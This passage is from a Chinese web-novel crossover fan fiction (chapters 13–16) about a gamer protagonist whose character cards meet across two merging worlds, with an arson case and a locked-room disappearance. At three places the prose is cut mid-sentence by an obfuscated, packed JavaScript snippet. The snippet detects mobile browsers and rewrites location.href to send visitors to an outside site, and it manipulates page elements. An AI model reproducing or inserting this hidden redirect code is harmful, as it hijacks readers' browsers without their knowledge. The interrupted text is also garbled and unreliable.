他的手腕轻转,角度微调,纸网如水母般收缩,托起,转移——不过一晃眼,那条白金鱼便稳稳地落入了铝盆中,在浅浅的水里游动。 “你看。”男孩笑着朝神隐展示铝盆里的收获,又分他一只纸网,“再试试吧?” - 神隐:[哇。] 搭档:[这才是真正的天使。] 好感动。 神隐擦了擦并不存在的泪水,忽然发现有什么不对。 [你又在贬低老子?!] [嘿嘿。] - 似乎没想到自己会这样做,在板凳上安静了十来分钟的男孩看着他,沉默了很久才接过纸网。 墨黑的卷发垂落,遮住没有情绪的血色眼眸。 男孩学着他刚才的动作拿起纸网,前面的步骤完全相同,包括手臂倾斜与纸网入水的深度。 一切都很顺利,但在最后一步,也就是把鱼带出水时,刚出水,纸网就破了。 “你用的力气太大了。”他指出问题,“没关系,还有一次机会,这次轻一点就好了。” 男孩似懂非懂地重复方才步骤。 这次成功了。 一黑一白两条金鱼在水里转着圈游,他将鱼袋递给男孩。 黑卷发的男孩盯着鱼袋,反应了很长一段时间,才说:“送给……我的?” “嗯,送给你。” “谢谢。” 他笑着回了句不客气,又问:“你想去看烟花吗?” “烟花?” - “咻——!!” 一声悠长、尖锐地仿佛要将这片夜空撕裂的哨声骤然响彻。 烟火霎时绽放在城市上空,绚丽色彩照亮了整片夜空。 璀璨多变的光彩在伏黑白仰起的面容上流淌,晚风拂过他额前碎发,烟火的光华映亮那双睁大的血红色眼睛。 “好看吧。” 带着他来到一栋小楼楼顶的男孩问道。 这是个远离喧嚣的地方,没有其他人的声音,很安静。 “好看。” 伏黑白回答,声音散在烟火炸开的轰鸣里。 他的目光依然追随着天际的光影,像是要将这转瞬即逝的美景永远镌刻在记忆里。 他们并肩坐在屋瓦上。 片刻后,又有新的花火升空,在爆鸣声中化作绚丽的图案。 “母亲说,烟火之所以美丽,是因为它燃烧得义无反顾。”男孩轻声说道,目光追随着渐渐消散的光屑。 细碎的光粒如春雨般淅淅沥沥落下。 伏黑白没有接话,他看着最后一缕金辉融入夜色,等四周重归寂静后站起身来。 “该回去了。” 算着时间差不多了,伏黑白主动开口道别。 在分别时他们交换了名字。 “我叫加茂宪纪。”男孩郑重地说道,并预定了明天的相遇,“明天见,我请你吃母亲做的米糖。” 他顿了顿,又补充道:“母亲做的米糖里很好吃,别处尝不到的。” 伏黑白点头,月光照亮他半边侧脸。 “我叫伏黑白,再见。” “再见。” 加茂宪纪本以为他会沿着来时的楼梯下去,却见伏黑白单手一撑,在加茂宪纪陡然惊悚的目光中,如飞鸟般从屋顶跃下。 “伏黑——!” 加茂宪纪慌忙扑到屋檐边,预想中血肉模糊的场景并未出现。 毫发无损的伏黑白站在下方,他抬起头,朝上方目瞪口呆的加茂宪纪挥了挥手,随即毫不犹豫地转身,消失在了浓浓夜色里。 趁着天还没亮,他要去放火了。 14. 第 14 章 京都在一周前起了大火,因为火是深夜时点的,等被人发现的时候,火势已经将那处地方的半面天都烧红了。 奇怪的是,这场大火只烧死了十余名高层官员,其余人、哪怕处于火焰中心的人都只有小范围的烧伤,结合某些不可公开的秘密,让人很难不怀疑是某位异能力者在寻仇报复。 专案组探查了一周,也仍旧没有找到丝毫线索,无奈之下,只得向与警察达成过合作的各方侦探求助。 作为最近名声鹊起的侦探组合,福泽谕吉自然也收到了邀请。 因为前后进程最快也需要两天时间,一大早,不愿意出门的藤原千学就被连哄带拉地带上了列车。 还没睡醒的藤原千学一边往下点着脑袋,一边轻飘飘地被江户川乱步拉着往前走。 有什么东西被塞到了怀里,毛茸茸的,藤原千学努力将眼睛睁开一条缝,发现是只崭新的小熊玩偶。 他抱紧玩偶,将头埋进了绒毛里。 耳聋buff还没过,藤原千学听不见周遭声音,安静的氛围提供了良好的睡眠环境,找到座位,坐在最里侧的他闭上眼。 被睡意操控意识的迷糊间,他感受到有人摸了摸自己的脑袋,是江户川乱步。 藤原千学无意识地蹭了蹭,靠着江户川乱步的手臂睡了个回笼觉。 - 两个世界还差一点进度才能彻底融合,两边的人处于相互不可见的状态,所以不管怎么查,都不会有人查到伏黑白的头上。 早就知道凶手不会被找到,坐在会议厅最后面的藤原千学捏住玩偶耳朵,低着头,不是很想看其他人的讨论。 不用看也知道他们说的话该是多么愚蠢无趣。 藤原千学想。 和怀里玩偶相同的触感忽然擦过手背,藤原千学抬头,同样抱着小熊的江户川乱步对他开口: “好无聊啊千学,我们出去吧。” - 这场大火导致京都有些动荡,但再怎么混乱,也不会比横滨危险,福泽谕吉小声道了句“不要走太远”,就放任他们离开了。 两个孩子的离场没有引起任何人注意。 离开会议厅,江户川乱步牵着藤原千学穿过长廊,直奔公馆内的自助餐厅。 这座公馆是某位因火灾死亡的高层的孩子为接待各方侦探准备的,不会存在无关紧要的人士,藤原千学拿起餐盘,不经意看了一眼不远处水果区的人。 墨黑的卷发,深蓝的眼睛。 有点眼熟。 好像在哪里见到过。 藤原千学扫过青年挂在胸口的墨镜,收回视线,拿着餐盘赶上乱步的脚步。 刚刚追上,他的盘子上就多了一份千层意面。 “千学尝尝这个。”江户川乱步说着,又夹了一块乳酪蛋糕,“还有这个。” 自从某天外出,藤原千学在餐厅多吃了几口芝士焗意面后,福泽谕吉和江户川乱步就默认了他喜欢的食物是奶酪制品。 尽管藤原千学解释过那只是他最不讨厌的食物。 坐在堆满奶酪与甜点的餐桌,近期被限制了甜食的江户川乱步吃得满脸幸福。 藤原千学喝了口冰可乐,望着对面少年脸上的婴儿肥,沉思片刻。 “话说,乱步最近是不是又胖了?” “完全没有啦!”江户川乱步反驳,试图用理直气壮的态度说服藤原千学,“这是在生长期,是正常的!” “生长期是变瘦吧,乱步就是胖了。” 然而藤原千学并没有被忽悠到。 “不管不管,乱步是与众不同的乱步!生长期也要与众不同!” “哈哈、” 后面突然传来一声戛然而止的笑,江户川乱步不满地回望过去,看到了一头卷毛。 留着中长发的青年捂住卷毛青年的嘴巴,不好意思地朝他们笑了笑。 “抱歉啊小朋友们,打扰到你们聊天了。” “现在不来打扰,过一会儿也会找借口打断我们的对话吧?”江户川乱步不留情面地说道,“特意选在我们身后的位置,不就是在找机会搭话吗,两位警官先生。” 而藤原千学也想起来了以前在哪里见过他们。 “仅仅因为一起案件就对我们如此关注,未免太过变态了。” 江户川乱步背对着自己,藤原千学无法得知他对两人说了什么,不过从两位警官僵住的神情里,也能大致猜出他的话有多不留情面,“所以在我们把两位警官当做变态之前,把你们的目的说出来吧。” 变、变态?! “这样吗……”头一次被叫变态,中长发的青年警官表情看起来要碎了,“真是抱歉啊。” 在他为这些话感到心碎时,卷毛警官扒拉开捂住自己嘴巴的手,直言道: “我们是来请教你们对这个案件看法的。” 不知道为什么,在面对江户川乱步时,他们总会下意识想去依赖信任。 即便这只是个十四岁的孩子。 他们是在昨天被派来保护某位少年侦探的,很多案件的细节也都知道。 开会的时候那位侦探便以跟从的“保镖”太蠢,无法给他提供有效帮助为由赶走了所有的警卫,让他们哪里凉快待哪儿去。 两人便来了餐厅,打算好好犒劳饿了一天一夜的肚子。 没想到会有意外惊喜出现。 “本来打算等你们说完话再过来的。”回过神的中长发警官低咳一声,用手肘碰了下搭档胳膊,试图挽回一点形象,“都怪小阵平啦,作为补偿,你们有什么想要的东西吗?都可以让他买喔。” 被称为小阵平的卷毛警官没反驳,默认了搭档的话。 听到这句话的江户川乱步眼睛一亮。 “那警官先生们给我和千学买零食吧!” 福泽大叔说他最近吃得太多,现在都不给他买零食了,害得千学也没有零食吃。 虽然千学的零食全部都到了他的肚子里。 但那些都是千学不喜欢吃的,不能浪费食物嘛。 江户川乱步毫不心虚地想。 藤原千学打量着两个人。 他让搭档扫描了一下两位警官的信息,等信息共享进脑子里,藤原千学大致看了一遍,狐疑地想,那么高数值不像是普通角色啊。 莫非是未来的侦探社成员? 或者黑手党? 搭档:[但是作为警察,不管是来侦探社还是去黑手党都有点不合理吧。] 空间里,搭档为了融入时代,特意选的键盘被按得啪啪作响,他还在处理昨天伏黑白给总监会投毒留下的痕迹。 神隐思索一番觉得也是,索性直接去问了世界意识。 [世界,他们是谁?] 正在关注另一个孩子离家出走的世界闻言往这边探了一眼,不在意道:[他们是被一个半消亡的世界送过来的,不是什么重要人物,也不会影响您的工作,您需要他们的资料吗?] 关系不错的世界意识会相互串门,偶尔会相互赠送一两个在当前世界已经“死亡”的人,这算是各个世界心照不宣的秘密。 就像游戏创始人,听说祂之前就是被其他世界意识送过来的,阴差阳错下创造了一个没有生命体的世界。 听到此间世界意识的解释,神隐也没多惊讶。 [发给我看看。] - “千学和我一样喜欢吃零食啦!” 在浏览资料的时候,江户川乱步替藤原千学回复了萩原研二的话,他擦干净嘴边的奶油,“趁现在他们还没有开完会,我们快去快回吧。” 公馆位于一处偏僻的地区,附近没什么建筑,最近的房屋离他们有大概两公里远。 “嗯。” 藤原千学点头表示同意。 松田阵平诧异两个孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16553962|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子的大胆,“不和监护人说一声吗?” 江户川乱步:“他肯定会同意的啦。” 只要不告诉他是去买零食就好了。 毕竟大叔知道有千学在,自己是不会做危险之事的嘛。 两位警官对视一眼,还是让江户川乱步给福泽谕吉发短信告知。 “反正都会同意,为什么还要做这种繁琐的事情。”江户川乱步当着他们的面抱怨,最后还是对零食的渴望大过了所有,他举起手机,给两人看信息界面,“好了,大叔同意了。” 世界意识给的资料很厚,有十分之八都是各种各样的案件,让搭档将没用信息筛选后,总算看完了剧情的藤原千学拿起一盒牛奶放进购物篮。 他的购物篮被江户川乱步放了很多东西。 芝士饼干,芝士布丁,芝士棒,芝士面包……怎么全是芝士。 不过他确实很喜欢吃就是了。 但千页没有食物偏好,在面对食物时,只有呕吐和难吃两个态度。 再继续下去会崩人设吧。 藤原千学想着,将满篮子芝士放到了收银台。 把这些吃完再说吧。 反正这里也不是游戏世界。 “这个案件找不到凶手的。”江户川乱步咬住棒棒糖,“因为凶手根本不是异能者。” 知道松田阵平和萩原研二可能听不懂,他将自己的推理详细说了一遍。 不过看他们的样子,说详细一点好像更听不懂了。 江户川乱步没在意,“总之,即使凶手在我们眼前犯了案,我们也是找不到他的。” 根本没有线索可言。 就像那个人是在异世界放的火,火势碰巧蔓延到这里来了一样。 江户川乱步思索着,突然听到身后传来骨头与地面的碰撞声。 是藤原千学。 后脑勺着地的藤原千学躺在原地,挥开萩原研二和松田阵平的搀扶,安静地看了会儿天空,直到脑袋不怎么昏痛了,才被江户川乱步扶起来。 “怎么突然摔倒了?” 藤原千学后退一步,避开萩原研二试图检查伤势的手,他迅速抚平因为摔倒而凌乱的着装,又拍掉上面的灰,走到江户川乱步身后,与两个成年人隔开距离。 萩原研二尴尬地收回手。 忘记这个孩子不喜欢成年人了。 “千学遇到这次案件的凶手了。” 江户川乱步凝视着某个方向,“往那个方向走了。” “我们看不见他。”藤原千学说,同样望着江户川乱步所看的方向,“也碰不到他。” 不远处的人行道上,不会被其余三个人看见的两道身影结伴而行。 他们的年龄都不大,五岁到六岁的区间。 稍高些的男孩有着一头绵羊似的黑卷发,被家人好好打理过的头发如黑云般蓬松飘散。 面对藤原千学的注视,黑卷发男孩有所感应地转头,漠然的血红色眼睛看过来。 视线对上的一瞬间,藤原千学拉住精准看向男孩的江户川乱步,阻拦住他的无用功,“找不到的,我们先回去吧。” 两个世界的人相互不可见,不可碰。 在完全融合之前,不管多么敏锐聪明,就如江户川乱步刚才所言的那样,他们都是不可能找到的。 藤原千学收回视线。 …… …… “伏黑,在看什么?” 伏黑白有些卡顿地转过头,“我刚才,好像撞倒了一个人。” 加茂宪纪疑惑地跟着看过去,没发现有人摔倒,“我没有看到人啊。” 是他眼睛不好吗? “可能是我感觉错了。” 伏黑白用古井无波的声音解释道。 习惯了小伙伴的语调声线,并能够从这语调平平的话语中听出情绪的加茂宪纪点头。 “好吧。” 15. 第 15 章 在发现自己放的火会影响到另一个世界之后,能够同时看见两个世界人群的神隐就在想,位于两个世界的角色卡能不能相互看见,相互影响? 带着这个疑问,已经可以稳定三开的神隐操控着伏黑白,来到了藤原千学所在的位置。 这些天,伏黑白都会在固定的地方遇见加茂宪纪,他似乎也在等着自己,每次相遇都理所当然地走到伏黑白身边,十分自然地带着他去各种地方玩。 重新启用这张角色卡,本意就是想放松的神隐没有拒绝过。 孩童的关系好坏都容易,短短一周时间,他们的友谊小船在海面上突飞猛进。 已经成为了见面即能够放松的关系。 世界间虽然还存在时间差异,不过要比之前这边一天、另一边好几天的流速好很多,现在只有十来个小时的差异了。 伏黑白是在深夜十点时见到的加茂宪纪,那个时候,藤原千学刚刚抵达京都。 于是等伏黑白碰上藤原千学的时候,他们这边的时间,已经处于后半夜的黎明时分了。 他本来是想试试角色卡之间能不能触碰到,有意地对上彼此的肩膀,擦肩而过。 结果低估了武者的力气,也高估了学者的身体。 在伏黑白的视角,他们只是轻轻一碰,甚至谈不上接触,而藤原千学的视角——他感觉自己好像被一辆正在飙车的机车撞到了。 这未免太过离谱了。 看着加茂宪纪毫无所觉地穿过藤原千学的身体朝自己走过来,被江户川乱步死亡凝视的伏黑白默默加快步伐。 第一次被乱步用这种视线注视啊。 …… …… 月光像一盅凉透了的茶,静默地泼洒在深邃的夜路上,暑夏后半夜,只有缠人的蝉鸣未歇。 没人居住的四层小楼远离人烟,角落放着一盏灯,在地上圈出一小片昏黄的光晕,光晕里,毽子随着影子一下一下地跳跃着。 “对了,我这段时间不会再过来了。”加茂宪纪突然说道,他的声音很轻,像是怕惊扰了这静谧的夜色。 闻言,伏黑白接住高高跃起的毽子,毽子上的鸡毛有着斑驳的杂色,在月色下也是灰扑扑的色泽。 黑卷发男孩略微歪了下脑袋,“好。” 高专也要放假了,他和津美纪明天就会回到东京去,原本还在纠结要怎么和加茂宪纪告别来着。 没想到加茂宪纪率先提出来了。 “你不问是因为什么不过来了吗?”加茂宪纪问。 伏黑白迟缓地眨了下眼,他的反应一直很慢,加茂宪纪说完后又过了几秒,伏黑白才开口: “你为什么不过来了?” 一字一句的复述称得上敷衍,而在这一周里,伏黑白就是这样和加茂宪纪交流的。 这是一位几乎不去思考的朋友。 加茂宪纪朝伏黑白笑了笑,鲜少出现的情绪在他脸上浮现。 “我成为家族的继承人了。”他说道,笑意里带着与朋友分享后的骄傲,“这段时间会很忙。” 加茂宪纪之前和伏黑白说过自己的来历,但没有言明咒术界,只说那是一个很大的家族。 伏黑白点头:“恭喜你。” 听到这句话,他没有什么特别的表情,也是,伏黑从始至终都是这样。 如果伏黑是咒术师就好了。 加茂宪纪叹气。 时候不早了,他此次出来也是为了和朋友道别,现在道完别,也该回去了。 母亲还在等着他。 “那我们下次见。”加茂宪纪说。 正好甚尔差不多也要回来了。 这段时间都是背着人大晚上出来玩的神隐想。 除开五条悟,御三家的继承人应该很忙吧,估计不会有再见的时候了,他思索着,就也没说自己要回东京的事情。 “下次见。” …… …… “我真的没有受伤。” 看着接受完两位警官的道歉,就直步往自己走过来的福泽谕吉,藤原千学试图解释。 银发武士伸手轻按在他的发顶,表示不听他的解释。 看清少年脑后那道已经凝固的血痕时,福泽谕吉蹙起眉头,他随即掀开对方后背的衣服,目光登时一凝——单薄的背脊上布满了深浅不一的擦伤与淤青。 “……其实不痛的。”对上福泽谕吉的目光,藤原千学声音不自觉地低了下去,“过两天伤就好了。” 他这次没骗人。 作为经常被首杀的学者,藤原千学的设定除去容易受伤外,还有强大的自愈能力。 而且除了傻子和疯子,谁会在游戏里给自己设百分百的痛觉啊……他在心里小声嘀咕。 但是很明显,藤原千学在福泽谕吉这里没有信誉可言。 “不用去看医生!” 他抱住走廊的栏杆,用尽全身力气想要抵抗抓住自己去医院的监护人,“只是看着可怕而已,我是身体的主人我最清楚!真的不用去看医生啦!” 被骗了不止一次的武士冷漠地表示狡辩没用。 江户川乱步在旁边安慰:“只是去包扎一下伤口,没事的千学,我们都在你身边呢。” 藤原千学面无表情:“哦。” 江户川乱步:“千学!” 被抱着走的男孩扭头不看自己的小伙伴。 江户川乱步顺势走到另一边,又跳进了藤原千学的视野里,“千学不要生气了。” 藤原千学继续转头。 脚步声回响在梯层,绿眸少年再次出现。 “我们也只是担心千学的伤口嘛。”他说,“有我们在,千学大胆一些也没关系的。” 黝黑的眼睛迅速地眨了几下,过了一会儿,藤原千学才小声道:“我不是胆小鬼。” “乱步知道的。” 几下就把人哄好的江户川乱步眯起眼笑,天生锐利的眼眸被少年主动藏起来,看着便更加无害了。 “原来小侦探只讨厌福泽先生以外的大人啊。” 落后三人几步的萩原研二低声感叹,他是被藤原千学嫌弃的大人之一,算上自己的主动搭讪,这位姓藤原的小侦探统共与他说了四句话。 最后两句话组合起来甚至没超过六个字。 “嗯。”松田阵平望着楼下金碧辉煌的大厅,心不在焉道:“我在想,怎么才能让那个不可见的凶手现身。” 在世界意识的偏袒与影响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16553963|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下,他没有想过质疑江户川乱步。 不是异能力者,那还能是什么? 会喷火会隐身的魔法少年吗? …… 和藤原千学熟悉之后,会发现除开爱撒谎外,他其实是一个很听话的孩子。 “停下!” 就像现在,他一开口,藤原千学就放下了不知道从哪里偷过来的手术刀。 差点被手术刀划伤的医生的勇气可嘉,面对这样一个对陌生人警惕到不正常的患者,也没有表现出害怕的样子。 她已在先前的问诊中见识过这位患者对陌生人近乎病态的警惕——但应该没什么大问题,医生面不改色重新拿起了药物准备接近藤原千学。 藤原千学安分了十秒钟,再度举起手术刀。 福泽谕吉:“……把手术刀给我,千学。” 他现在的表现其实没有多少攻击的意图,只是习惯利用身边的一切当做武器,挡住其他人接近自己的脚步而已。 听到福泽谕吉的话,藤原千学眼中闪过挣扎,视线在医生与监护人之间往返数次,最后警惕地看了一眼医生,乖乖把手术刀放到了福泽谕吉掌心。 医生终于得以靠近,她弯起眉眼柔声道:“趴上去吧,小朋友。” 她自认自己笑得很温柔。 藤原千学盯着医生脸上老少皆宜的微笑。 “千学不可以!” 江户川乱步眼疾手快地截住那只不安分的手,将新缴获的凶器藏进外套口袋,他速度很快,医生还没看清那个东西是什么,江户川乱步便像藏赃物一样把东西藏起来了。 比男孩大上几岁,看起来应该是哥哥的少年对医生说道:“好了,现在可以给千学处理伤口了。” 被没收了全部武器的藤原千学幽怨地看着江户川乱步,赌气似地往治疗床上一趴,这次彻底没看他了。 在医生用棉签擦拭到伤口时,藤原千学明显地抖了抖,倒没像之前那样挣扎了。 他将脸埋进臂弯,很安静,一点声音都没有发出。 直到医生将所有伤口包扎好,告知可以起来时,藤原千学仍然维持着原状一动不动。 福泽谕吉取来处方单,将人抱起,刚刚抱起来,藤原千学就恶狠狠地咬住他的肩膀,把刚才累积的情绪全部倾泻在这一刻。 其实和害怕医生与打针的普通孩子没什么差别。 福泽谕吉想,抬起手,轻拍藤原千学不停颤抖着的身体。 在等待福泽谕吉取药的时候,江户川乱步将之前收走的手枪还给了藤原千学。 感受到手上金属冰凉的触感,一直盯着地板的藤原千学抬头,漆黑的眼瞳看向江户川乱步。 绷带棉白,从鼻梁缠至耳后,再绕向脖颈,几乎将整张脸覆盖,消瘦的面容在绷带间若隐若现,只露出一双深不见底的眼睛,带着几分骇人的寂静。 “千学饿了吗?” 江户川乱步取出一袋芝士夹心脆饼。 他没提那把被福泽谕吉没收,现在又重新出现在藤原千学身上的手枪。 藤原千学沉默着接过这袋零食。 包装袋刚被撕开,福泽谕吉便面色沉重地提着药快步走过来。 “公馆有人失踪了。” 16. 第 16 章 “失踪的是来自大阪的一位侦探,” 萩原研二的声音格外凝重:“西村拓木先生,于今天午后一点到两点之间,在他自己的房间里——消失了。” “西村先生让我两点之前叫醒他,我一点五十分去敲的门,里面没有回应,我便以为西村先生睡着了。” 西村拓木的助手面色苍白的补充: “过了五分钟,我再一次敲门,还是没有得到回应,我觉得不安,就用备用钥匙开了门……房间里很整齐,窗户是从里面锁好的,但我没有看见西村先生。” 助手声音越来越抖。 “我在西村先生的隔壁,没有听见过西村先生的房间开过门,他……他是凭空消失的!” 这短短一个小时里,没有任何人看到他离开过房间。 - 午后的阳光透过窗户,在地毯上投下明亮的光斑,床铺微微有些褶皱,有人曾短暂地在上面躺过,一杯喝了一半的冰乌龙茶放在床头柜上,杯壁上还凝结着水珠。 窗户的月牙锁是从内部扣上的,纹丝不动,房间里没有任何打斗、挣扎的痕迹。 “就像是化作空气蒸发了一样。” 金发少年从床边站起来,拍拍衣服总结道。 江户川乱步就是在这个时候抵达的公馆,他刚刚上楼,便听到了激烈的争执声。 “一定是那个会隐身的纵火犯!他肯定是因为西村先生发现了线索,所以……所以就趁着西村先生休息的时候把他抓走了!一定是他!!!” 面对助理小姐激动的发言,唯一站在案发现场内,并理直气壮赶走所有警察和侦探的金发少年平静道:“作为一名侦探的助理,你不应该说出这样的情绪发言。” 门外的另一名戴着帽子的青年开口:“我觉得藤野小姐说的有些道理,说不定就是那个纵火犯得知自己要被找到,情急之下做出的罪行呢?” 金发少年抬眼,懒洋洋地打量一番帽子青年,嗤笑一声,反问道:“你真的是侦探?” “他想嫁祸给一周前放火的家伙。” 在三个人争吵的时候,江户川乱步拉着藤原千学钻进了房间,“因为已经死亡的父亲的秘密被西村发现了,所以打算直接灭口。” 他环顾房间四周,“作案方式……是和放火的家伙一样的方法。” “还没有死。” 藤原千学看着躺在角落的男人,提醒道。 江户川乱步听懂了。 “他在房间里?” “对。” 凶手不知道怎么找到了世界的缝隙,通过缝隙达成“隐身”的效果,并在西村拓木无知无觉间,将他也带进了另一个世界。 作案的时间距离现在应该不长,导致他没有机会把人带走。 扫过被椅子砸碎的窗户,遍布火烧痕迹的床铺,藤原千学走近被捆绑着扔在角落的西村拓木。 他睁着布满血丝的眼睛,嘴巴被堵住了,看样子是在哀嚎,发现藤原千学的接近,西村拓木意识到自己这是被看见了,开始不停地挣扎。 [先等等。] 世界意识提醒道。 [我趁机多融合一些。] 不同世界的人通过缝隙进入另一个世界,反而加速了世界间的融合,这是件好事。 藤原千学脚步停住,“和那个家伙一样,我们碰不到他。” 他假装没有看到西村拓木求救的眼神,转过身,正好看到金发少年开口。 “你们的意思是,凶手是这栋公馆的主人?” 他挑起眉,没在意两人闯入案发现场的唐突,“有证据吗?” “臭小鬼的推理能有什么证据?” 被金发少年驳了面子的帽子青年嘲讽道,“喂,警官,不让我们进去就算了,那两个小子总该和我们一起被拦在外面吧。” 负责拦门的警官闻言,有些为难地挠挠头,“可绫辻先生没有说把他们赶出去啊。” 松田阵平倚在门框上,双手环胸:“也没说让我们进去。” 他们在来的时候上司就说过,不管发生什么都要听从绫辻行人的话,全力辅佐他推理出案子的凶手。 很明显,京都这边也是这样的打算,不然也不会同时邀请横滨的【超推理】和【Another】了。 邀请那么多人过来,也只是为了让其他人的目光不要一直落在他们身上,充充场面,真正邀请的只有这三位异能力侦探而已。 萩原研二按住帽子青年肩膀,打着哈哈,“好了好了,站那么久你们应该饿了吧?要不然我们先去……” 他给其余空闲的同事比了个手势,同事心领神会,将其他留在这里的侦探也敷衍着带走了。 虽说这样的处理方法有些不尊重。 但侦探们一定会推理出并理解这个做法的吧。 萩原研二想。 藤原千学暂时只能凭借他人说话的口型交流,没看见门口的风波,他想了想,避开过道歪倒断裂的书桌与椅子,从地毯上捡起一块沾着血迹的玻璃。 碎玻璃触随着藤原千学转身,一同现于人前。 “上面有两个人的血迹。” 江户川乱步接过碎玻璃,转递给绫辻行人。 绫辻行人接过玻璃,对着灯光看了一会儿,没看出有什么区别,把它扔给门外其中一位警察,“拿去检验。” “还有其他证据吗?” 藤原千学又凭空取出一张被揉皱的书页,拿给江户川乱步。 江户川乱步解释:“这是西村拓木在与凶手争执时,从笔记本上撕下的其中一页。” “不够说服我啊。”绫辻行人沉思,又问:“还有吗?” [还有吗?] 世界:[您等一下,这次的证据在火里,我正在修复。] 凶手现场打扫的其实很干净,除去西村拓木似乎是来不及搬走外,其他会留下线索的东西都全部带走了。 要是必须要线索的话,那会是一个很漫长的过程,毕竟是高层子弟啊。 不过他要证据的话,和世界意识说一声就好了。 藤原千学指节弯曲,翻开床头柜上有些烫的笔记本,撕下记录着已死亡高层秘密的一页揉皱,再次交给江户川乱步。 绫辻行人打开看了看,接着目露嫌弃,他重新揉起来,随手丢往门口,“难怪要灭口。” “还有吗?” 藤原千学捡起一根凶手的头发。 “还有吗?” 拿出有凶手指纹的凳子腿。 “还有吗?” 世界意识伪造的录音笔。 金发少年毫无顾忌地按下录音笔,争吵声与打斗声录制清晰,像是凑到两人脑袋上录的一样。 他用看待神奇动物的眼光看向藤原千学,没看几秒,对注视敏感的男孩就躲到了同伴身后。 绫辻行人收回视线:“嗯——可以了。” 话音刚落,江户川乱步听到一声重物落地的声音。 一直没离开过窗边的藤原千学也有所预感般,避开锋利的玻璃往下探头,看到了一具砸落在公馆外的尸体。 是公馆的主人,那位高层的儿子。 死那么快? 感觉尸体的样子有些眼熟,藤原千学下意识想翻出窗户跳下去证明自己的猜想,下一秒,一道不可抗力提起了他的衣领。 他抬腿往后踢,没踢着,突然想到了什么,僵硬地扭过头。 福泽谕吉看着他,脸色有些令人不妙的生硬:“你在做什么?” “……” 藤原千学默默丢开手里的玻璃,当着所有人的面,老老实实被福泽谕吉提出了房间。 凶手一死,世界意识便将两个房间重合,假装是凶手死亡带出的空间,现在,其他人也能够看见真实的现场与可怜的受害人了。 在侦探助理骤然而起的尖叫声中,绫辻行人找到了正在被福泽谕吉训话的藤原千学。 “绷带怪人。”他慢悠悠地开口,等到藤原千学用莫名其妙的眼神看过来时,泰然自若地问:“你会打麻将吗?” 绷带·藤原千学·怪人:? …… ……… 放假前夕,伏黑隐沉思了很久。 他开始回想自己入学到昨天晚上十二点以来做过的事情。 又忍不住去思考在五条悟和夏油杰的心里,自己和他们到底有多深的交情。 ——不然怎么会有人凌晨五点出现在他的阳台上啊!!! “早上好,隐!”五条悟元气满满地挥手,整个人像只大型白色树懒般挂在栏杆上,“今天的日出特别好看,我们一起去看吧!” 伏黑隐低头看了眼手机:凌晨5:02 又点开软件看了眼明天的天气:阴转阵雨。 “额……日出?” 夏油杰熟练地打开阳台门,盘腿坐到伏黑隐身边,拿起他还没来得及放进行李箱的速写本。 “我记得,隐每次上课都用的这个吧。”他笑着对伏黑隐晃了晃手里的速写本,“可以看吗?” 即使拒绝了也会找机会偷偷看吧。 伏黑隐内心腹诽,表面上凝重地拍了拍前辈的肩,“夏油前辈,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16553964|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确定想看吗?” 他的语气仿佛眼前的速写本是封印着灾难的潘多拉魔盒,听得夏油杰不由端正了表情。 “我想看。” 他回答的态度端正,一点不像是个凌晨五点半和挚友一起翻阳台,只为了看一眼学弟速写本的样子。 伏黑隐抿起嘴笑,仿佛害羞般翻开了速写本。 在看清里面的内容时,夏油杰脸上的笑容瞬间石化了。 “夏油前辈,你是一个勇敢的人。” 伏黑隐敬佩的声音响起在耳边,他用一种诧异中带着荒唐、荒唐中含着羞怯、羞怯里又藏着一丝丝合理的眼神看着速写本。 第一页,让老师以为终于有人认真听讲、至今也认为伏黑隐是个好学生的那一天,夏油杰就很好奇,隐到底在画什么。 凭借他对于伏黑隐这个人的了解,总归不会是些正经的东西。 现在,夏油杰知道了。 ……他在画自己的……自己的…… 夏油杰深吸一口气。 闭着眼用力合上了速写本。 看着夏油杰瞬间扭曲的笑容,伏黑隐在内心偷笑一声,明知故问道:“夏油前辈不继续看了吗?” 这表情,不枉他画的这一张。 “不对啊。”五条悟走过来翻开速写本,仔细端详,“老子上次看到的,明明是一个陌生的肌肉○男嘛。” 夏油杰恍惚地看了一眼五条悟,“我之前看到的是穿着裤子的。” 伏黑隐:? 他不可置信:“你们居然偷看我的本子!” 那两张全是在入学第一天画的,没过两天伏黑隐就撕下来了,五条悟和夏油杰能知道…… 伏黑隐喃喃:“我总算知道歌姬前辈说的,小心你们是什么意思了……” 下一秒,白发学弟冷漠地将两个人推到了宿舍外,砰的一声,重重关上了门。 两个人站在走廊上面面相觑。 “居然没有问到那个肌肉○男是谁……” 